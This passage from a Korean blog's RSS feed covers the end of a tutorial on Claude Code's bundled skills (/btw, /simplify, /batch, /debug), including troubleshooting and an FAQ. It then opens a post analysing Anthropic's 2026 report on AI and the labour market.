    &lt;pre class=&quot;routeros&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;/btw 아까 그 config 파일 이름이 뭐였지?
/btw 이 함수의 반환 타입이 뭔지 알려줘
/btw TypeScript에서 Record와 Map의 차이가 뭐야?&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; border-radius: 0 8px 8px 0; margin-bottom: 20px;&quot;&gt;
    &lt;b&gt; 비용 참고&lt;/b&gt;&lt;br /&gt;
    &lt;p style=&quot;margin-top: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;/btw&lt;/code&gt; 응답은 기존 대화 컨텍스트를 그대로 활용하므로 &lt;b&gt;프롬프트 캐시 재사용&lt;/b&gt;이
      가능하다. 새 대화를 시작하거나 대화 히스토리를 새로 읽는 오버헤드가 없기 때문에 토큰 비용이 최소화된다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;div style=&quot;margin: 20px 0;&quot;&gt;
    &lt;p style=&quot;font-size: 14px; color: #555; margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;  /btw 공식 소개 영상&lt;/p&gt;
    &lt;iframe src=&quot;https://platform.twitter.com/embed/Tweet.html?id=2031506296697131352&quot; style=&quot;width: 100%; max-width: 550px; min-height: 640px; border: none; border-radius: 12px;&quot; allowfullscreen=&quot;allowfullscreen&quot; scrolling=&quot;no&quot;&gt;&lt;/iframe&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;/btw vs
    서브에이전트: 정반대의 설계&lt;/h3&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;/btw&lt;/code&gt;와 서브에이전트(Sub-agent)는 &lt;b&gt;정반대(inverse)&lt;/b&gt; 설계를
    가진다. 서브에이전트는 빈 컨텍스트에서 독립적으로 실행되고, &lt;code&gt;/btw&lt;/code&gt;는 전체 대화를 보면서 도구는 쓰지 않는다.&lt;/p&gt;
  &lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
    &lt;thead&gt;
      &lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
        &lt;th style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; font-weight: 600; width: 30%;&quot;&gt;구분&lt;/th&gt;
        &lt;th style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; font-weight: 600; text-align: center; width: 35%;&quot;&gt;
          &lt;code&gt;/btw&lt;/code&gt;&lt;/th&gt;
        &lt;th style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; font-weight: 600; text-align: center; width: 35%;&quot;&gt;
          서브에이전트 (&lt;code&gt;context: fork&lt;/code&gt;)&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;대화 컨텍스트&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;전체 대화 히스토리 보임&lt;/td&gt;
        &lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;빈 컨텍스트로 시작&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr style=&quot;background-color: #fafcff;&quot;&gt;
        &lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;도구 접근&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;도구 없음&lt;/td&gt;
        &lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;모든 도구 사용 가능&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;히스토리 기록&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;기록 안 됨 (휘발)&lt;/td&gt;
        &lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;독립 컨텍스트 시작, 메인에 미기록&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr style=&quot;background-color: #fafcff;&quot;&gt;
        &lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;적합한 용도&lt;/b&gt;&lt;/td&gt;
        &lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;빠른 사이드 질문&lt;/td&gt;
        &lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; text-align: center;&quot;&gt;독립적 대규모 작업&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
  &lt;div
    style=&quot;background-color: #f8fbff; border: 1px solid #cce5ff; border-radius: 8px; padding: 15px 18px; margin: 20px 0 10px 0;&quot;&gt;
    &lt;b&gt;핵심 인사이트&lt;/b&gt;
    &lt;p style=&quot;margin: 8px 0 0 0; font-size: 14px; color: #444;&quot; data-ke-size=&quot;size16&quot;&gt;서브에이전트는 &quot;격리된 작업자&quot;고,
      &lt;code&gt;/btw&lt;/code&gt;는 &quot;모든 것을 알지만 아무것도 건드리지 않는 관찰자&quot;다. Skills 시스템이 서브에이전트로 &lt;b&gt;작업을 분산&lt;/b&gt;할 때, &lt;code&gt;/btw&lt;/code&gt;는 그 작업
      흐름을 방해하지 않고 &lt;b&gt;정보를 조회&lt;/b&gt;하는 역할을 담당한다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;실전 시나리오&lt;/h3&gt;
  &lt;div
    style=&quot;background-color: #f8fbff; border: 1px solid #cce5ff; border-radius: 8px; padding: 18px; margin-bottom: 15px;&quot;&gt;
    &lt;b&gt;시나리오 1: /batch 실행 중 궁금한 것 확인하기&lt;/b&gt;
    &lt;p style=&quot;margin: 8px 0 10px 0; font-size: 14px; color: #444;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;/batch&lt;/code&gt;로 TypeScript
      마이그레이션을 진행 중이다. 에이전트가 작업하는 동안 잠깐 궁금한 점이 생겼지만, 작업 흐름을 끊고 싶지 않다.&lt;/p&gt;
    &lt;div
      style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 14px; border-radius: 6px; font-family: 'Fira Code', monospace; font-size: 13px; margin-bottom: 10px;&quot;&gt;
      &lt;pre class=&quot;routeros&quot;
        style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;$ /btw TypeScript에서 interface와 type alias의 차이가 뭐야?&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
    &lt;ul style=&quot;margin: 6px 0 0 18px; font-size: 13px; color: #555; line-height: 1.9;&quot; data-ke-list-type=&quot;disc&quot;&gt;
      &lt;li&gt;진행 중인 &lt;code&gt;/batch&lt;/code&gt; 작업에 아무런 영향 없이 즉시 답변을 받는다&lt;/li&gt;
      &lt;li&gt;질문과 답변은 히스토리에 남지 않아 에이전트의 다음 작업 판단에 끼어들지 않는다&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #f8fbff; border: 1px solid #cce5ff; border-radius: 8px; padding: 18px; margin-bottom: 12px;&quot;&gt;
    &lt;b&gt;시나리오 2: 코드 작업 중 빠른 문법 확인&lt;/b&gt;
    &lt;p style=&quot;margin: 8px 0 10px 0; font-size: 14px; color: #444;&quot; data-ke-size=&quot;size16&quot;&gt;복잡한 리팩토링 작업 중 Array.reduce()
      사용법이 헷갈린다. 새 대화를 열면 현재 컨텍스트를 잃게 된다.&lt;/p&gt;
    &lt;div
      style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 14px; border-radius: 6px; font-family: 'Fira Code', monospace; font-size: 13px; margin-bottom: 10px;&quot;&gt;
      &lt;pre class=&quot;reasonml&quot;
        style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;$ /btw Array.reduce에서 초기값 생략하면 어떻게 되지?&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
    &lt;p style=&quot;margin: 0; font-size: 13px; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;현재 작업 컨텍스트를 유지하면서 문법 질문만 즉시 해결할 수 있다. 파일
      읽기나 코드 실행 없이 순수 텍스트로 답변을 받는다.&lt;/p&gt;
  &lt;/div&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- ===== 섹션 3 ===== --&gt;
  &lt;h2
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 트러블슈팅 &amp;amp; FAQ&lt;/b&gt;&lt;/h2&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;/simplify
    &amp;mdash; 변경 사항이 없다고 나올 때&lt;/h3&gt;
  &lt;div
    style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 15px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;원인:&lt;/b&gt; /simplify는 &lt;b&gt;최근 변경된 파일&lt;/b&gt;을 기준으로 동작한다. git diff(파일의 변경 내용을 보여주는 명령어)나 편집 이력이 없으면 분석할 대상이
    없다.&lt;br /&gt;&lt;b&gt;해결:&lt;/b&gt;
    &lt;ul style=&quot;margin: 8px 0 0 18px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
      &lt;li&gt;파일을 편집한 직후 실행하거나, 자유 텍스트로 대상 파일을 명시한다&lt;/li&gt;
      &lt;li&gt;&lt;code&gt;/simplify src/components/UserCard.tsx 파일 검토해줘&lt;/code&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;/batch
    &amp;mdash; git 저장소가 없거나 gh CLI가 없을 때&lt;/h3&gt;
  &lt;div
    style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 15px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;체크리스트:&lt;/b&gt;
    &lt;ul style=&quot;margin: 8px 0 0 18px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
      &lt;li&gt;&lt;code&gt;git status&lt;/code&gt;로 git 저장소 여부 확인 &amp;mdash; /batch는 git worktree가 필수&lt;/li&gt;
      &lt;li&gt;&lt;code&gt;gh auth status&lt;/code&gt;로 gh CLI 인증 상태 확인 &amp;mdash; PR 생성에 필요&lt;/li&gt;
      &lt;li&gt;에이전트 한 개가 실패해도 나머지는 계속 진행한다. 실패한 작업 단위만 수동으로 재처리하면 된다&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;/debug
    &amp;mdash; 분석 결과가 뜻 밖이거나 원인을 모르겠을 때&lt;/h3&gt;
  &lt;div
    style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 15px 0; border-radius: 0 8px 8px 0;&quot;&gt;
    &lt;b&gt;해결 방법:&lt;/b&gt;
    &lt;ul style=&quot;margin: 8px 0 0 18px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
      &lt;li&gt;설명을 추가해 범위를 좁힌다: &lt;code&gt;/debug Write tool이 permission denied를 반환함&lt;/code&gt;&lt;/li&gt;
      &lt;li&gt;디버그 로그가 너무 방대하면 &lt;code&gt;/debug 최근 10개 도구 호출만 분석해줘&lt;/code&gt;처럼 범위 지정&lt;/li&gt;
      &lt;li&gt;그래도 원인을 못 찾겠다면 &lt;code&gt;/new-session&lt;/code&gt;으로 새 세션을 시작하면 대부분 해결된다&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/div&gt;
  &lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;자주 묻는 질문
    (FAQ)&lt;/h3&gt;
  &lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
    &lt;tbody&gt;
      &lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
        &lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; font-weight: 600; width: 42%;&quot;&gt;Bundled Skills는 어디에
          저장되어 있나?&lt;/td&gt;
        &lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;Claude Code 내부에 내장(빌트인)되어 있다. 파일 시스템에 노출되지 않으며, 업데이트는
          Claude Code 자체 업데이트를 통해 이뤄진다.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;/simplify, /batch, /debug를 수정할 수
          있나?&lt;/td&gt;
        &lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;직접 수정은 불가하다. 같은 이름의 커스텀 스킬을 만들면 Bundled Skills보다 우선
          적용된다. (&lt;a href=&quot;https://goddaehee.tistory.com/entry/claude-code-skills-guide&quot; target=&quot;_blank&quot;
            rel=&quot;noopener&quot;&gt;커스텀 스킬 제작은 Part 1 참고&lt;/a&gt;)&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
        &lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;/batch 작업 중 한 에이전트가 실패하면?&lt;/td&gt;
        &lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;나머지 에이전트는 계속 진행한다. 실패한 작업 단위는 별도 worktree(독립 작업 폴더)에
          남아 있으므로 해당 브랜치에서 수동으로 이어서 작업하면 된다.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;/batch 실행 전 계획을 취소하고 싶다면?&lt;/td&gt;
        &lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;계획 제시 단계에서 &quot;취소&quot; 또는 &quot;no&quot;로 응답하면 에이전트가 스폰되지 않고 종료된다. 일단
          승인 후에는 중간에 멈추기 어려우므로 계획 단계를 꼼꼼히 확인하자.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
        &lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;/debug가 세션 로그를 못 찾는다고 할 때?&lt;/td&gt;
        &lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;Claude Code 세션 로그 파일이 생성되지 않았을 수 있다. 세션이 너무 짧거나 로그
          기록이 비활성화된 환경일 경우 발생한다. 로그 설정은 &lt;code&gt;claude config&lt;/code&gt;에서 확인한다.&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;SKILL.md에
          &lt;code&gt;max-iterations&lt;/code&gt; 옵션이 있나?&lt;/td&gt;
        &lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;없다.&lt;/b&gt; SKILL.md 공식 프론트매터 필드가 아니다. 커뮤니티 블로그 등 비공식
          출처에서 잘못 전파된 정보일 가능성이 있다. 비슷한 기능이 필요하다면, 서브에이전트 설정 파일(&lt;code&gt;AGENT.md&lt;/code&gt;)의 &lt;code&gt;maxTurns&lt;/code&gt; 필드를 사용한다.
          (출처: Claude Code 공식 문서, 2026-03-02 확인)&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
        &lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;SKILL.md에
          &lt;code&gt;completion-promise&lt;/code&gt; 옵션이 있나?&lt;/td&gt;
        &lt;td style=&quot;padding: 12px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;없다.&lt;/b&gt; Claude Code 공식 문서와 AgentSkills 오픈 스탠다드 명세
          어디에도 이 필드는 정의되어 있지 않다. 온라인에서 보았다면 비공식 출처의 오류이거나 내부 실험 기능일 수 있으니 공식 문서를 기준으로 삼을 것을 권장한다. (출처: Claude Code 공식 문서
          + agentskills.io 명세, 2026-03-02 확인)&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
  &lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
  &lt;!-- ===== 섹션 4 ===== --&gt;
  &lt;h2
    style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot;
    data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 참고 자료&lt;/b&gt;&lt;/h2&gt;
  &lt;div
    style=&quot;background-color: #f8fbff; padding: 20px; border-radius: 12px; border: 1px solid #cce5ff; margin: 20px 0;&quot;&gt;
    &lt;b&gt; 공식 문서&lt;/b&gt;
    &lt;ul style=&quot;margin: 12px 0 0 20px; padding: 0; line-height: 2.2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
      &lt;li&gt;&lt;a href=&quot;https://code.claude.com/docs/en/skills&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude Code Skills 공식 문서&lt;/a&gt;
        &amp;mdash; 스킬 전체 레퍼런스&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://code.claude.com/docs/en/skills#bundled-skills&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Bundled Skills
          섹션&lt;/a&gt; &amp;mdash; /simplify, /batch, /debug 공식 설명&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://code.claude.com/docs/en/sub-agents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Sub-agents 문서&lt;/a&gt; &amp;mdash;
        context: fork, agent 필드 상세&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://code.claude.com/docs/en/plugins&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Plugins 문서&lt;/a&gt; &amp;mdash; 플러그인으로
        스킬 배포하기&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://agentskills.io&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Agent Skills 오픈 스탠다드&lt;/a&gt; &amp;mdash; 멀티 AI 도구 호환
        표준&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/div&gt;
  &lt;div
    style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border: 1px solid #b3d9ff; margin: 20px 0;&quot;&gt;
    &lt;b&gt; 관련 글&lt;/b&gt;
    &lt;ul style=&quot;margin: 12px 0 0 20px; padding: 0; line-height: 2.2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
      &lt;li&gt;&lt;a href=&quot;https://goddaehee.tistory.com/entry/claude-code-skills-guide&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude
          Code Skills 기초 빌딩 가이드 (Part 1)&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://goddaehee.tistory.com/entry/claude-mem-guide&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;claude-mem: 영속적
          메모리 시스템 완전 가이드&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;https://goddaehee.tistory.com/entry/claude-import-memory-guide&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Claude
          Import Memory: AI 기억 이식 기능 가이드&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/Claude</category>
      <category>Claude Code /batch</category>
      <category>Claude Code /btw</category>
      <category>Claude Code /debug</category>
      <category>Claude Code /simplify</category>
      <category>Claude Code Bundled Skills</category>
      <category>Claude Code Skills 사용법</category>
      <category>Claude Code 내장 스킬</category>
      <category>Claude Code 멀티에이전트</category>
      <category>Claude Code 병렬 리팩토링</category>
      <category>Claude Code 스킬</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/544</guid>
      <comments>https://goddaehee.tistory.com/544#entry544comment</comments>
      <pubDate>Wed, 11 Mar 2026 19:00:42 +0900</pubDate>
    </item>
    <item>
      <title>Anthropic이 경고한 &amp;quot;화이트칼라 대불황&amp;quot; Anthropic 2026 AI 노동시장 보고서 분석 - 내 직업, 진짜 안전할까?</title>
      <link>https://goddaehee.tistory.com/543</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;안녕하세요. 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2186&quot; data-origin-height=&quot;1458&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/U1bzt/dJMcaa5y3UR/iKuxPy4ySFDH40kvIj0wEk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/U1bzt/dJMcaa5y3UR/iKuxPy4ySFDH40kvIj0wEk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/U1bzt/dJMcaa5y3UR/iKuxPy4ySFDH40kvIj0wEk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FU1bzt%2FdJMcaa5y3UR%2FiKuxPy4ySFDH40kvIj0wEk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2186&quot; height=&quot;1458&quot; data-origin-width=&quot;2186&quot; data-origin-height=&quot;1458&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;&quot;내 직업, 괜찮은 걸까?&quot; &lt;/span&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;요즘 이 질문을 한 번도 안 해본 사무직 종사자가 있을까??&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;AI가 코드를 짜고, 보고서를 쓰고, 고객 응대를 하고, 법률 문서를 검토하는 시대이다. 뉴스를 볼 때마다 &quot;또 어디서 몇 명을 줄였다&quot;는 기사가 뜨고, 회사 슬랙에서는 &quot;AI로 대체할 수 있는 업무&quot; 목록이 돌아다닌다. 아침에 출근해서 노트북을 열 때마다 묘한 불안감이 드는 건, 이제 한국 사무직 종사자들의 일상이 됐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;그런데 이번에는 뉴스의 출처가 좀 다르다. &lt;b&gt;AI를 만드는 회사가 직접 &quot;AI가 당신의 일자리를 위협할 수 있다&quot;고 경고&lt;/b&gt;한 거다. 2026년 3월 5일, Anthropic(Claude를 만든 회사)이 발표한 논문 &lt;b&gt;&quot;Labor market impacts of AI: A new measure and early evidence&quot;&lt;/b&gt;가 전 세계 노동시장에 충격을 주었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;Fortune은 이 보고서를 두고 &lt;b&gt;&quot;화이트칼라 대불황(A Great Recession for white-collar workers)이 충분히 가능하다&quot;&lt;/b&gt;는 헤드라인을 뽑았고, CBS News는 &lt;b&gt;&quot;AI에 가장 노출된 10대 직종&quot;&lt;/b&gt;을 특집으로 다뤘다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;Axios는 이 연구를 &lt;b&gt;&quot;AI 일자리 파괴 감지기(AI job destruction detector)&quot;&lt;/b&gt;라고 표현했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;The Register는 &lt;b&gt;&quot;Anthropic 연구진, AI가 아직 일자리에 큰 영향을 미치지 않았다고 밝혀&quot;&lt;/b&gt;라는 제목으로 약간 다른 뉘앙스를 전했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;같은 보고서를 두고 &quot;대불황이 온다&quot;와 &quot;아직 괜찮다&quot;라는 상반된 해석이 나온다. 그렇다면 보고서가 실제로 말하는 바는 무엇일까? 오늘은 이 보고서의 핵심 내용을 원문 데이터 중심으로 파헤치고, 한국 노동시장에서 어떤 의미를 갖는지, 그리고 우리가 지금 당장 무엇을 해야 하는지 이야기해보겠다.&lt;/p&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Anthropic이 AI 위험을 경고하는 아이러니
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;AI 회사가 스스로 경고하는 이유&lt;/li&gt;
&lt;li&gt;Anthropic은 어떤 회사인가&lt;/li&gt;
&lt;li&gt;Dario Amodei CEO의 발언 타임라인&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;보고서 핵심 발견 -- 무엇이 달라졌나
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&quot;관측된 노출(Observed Exposure)&quot; 새 지표&lt;/li&gt;
&lt;li&gt;측정 방법론 상세&lt;/li&gt;
&lt;li&gt;이론적 가능성 vs 실제 채택의 거대한 간극&lt;/li&gt;
&lt;li&gt;아직 대량 실업은 아니다, 그러나...&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;직종별 위험도 분석
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8; list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;AI 노출 상위 10대 직종 (CBS News 기준)&lt;/li&gt;
&lt;li&gt;직종별 심층 분석&lt;/li&gt;
